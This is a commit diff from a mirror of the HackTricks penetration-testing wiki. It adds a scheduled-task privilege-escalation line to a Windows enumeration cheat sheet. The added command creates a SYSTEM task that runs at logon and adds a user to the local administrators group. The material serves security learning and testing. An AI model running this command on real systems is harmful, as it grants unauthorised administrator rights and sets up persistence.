mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-15 01:17:36 +00:00
GitBook: [master] 380 pages modified
This commit is contained in:
parent
ec1dfd10ec
commit
bf07ded845
1 changed files with 4 additions and 0 deletions
|
@ -18,6 +18,10 @@ schtasks /query /fo TABLE /nh | findstr /v /i "disable deshab"
|
||||||
schtasks /query /fo LIST 2>nul | findstr TaskName
|
schtasks /query /fo LIST 2>nul | findstr TaskName
|
||||||
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
|
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
|
||||||
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
|
Get-ScheduledTask | where {$_.TaskPath -notlike "\Microsoft*"} | ft TaskName,TaskPath,State
|
||||||
|
|
||||||
|
#Schtask to give admin access
|
||||||
|
#You can also write that content on a bat file that is being executed by a scheduled task
|
||||||
|
schtasks /Create /RU "SYSTEM" /SC ONLOGON /TN "SchedPE" /TR "cmd /c net localgroup administrators user /add"
|
||||||
```
|
```
|
||||||
|
|
||||||
## Folders
|
## Folders
|
||||||
|
|
Loading…
Reference in a new issue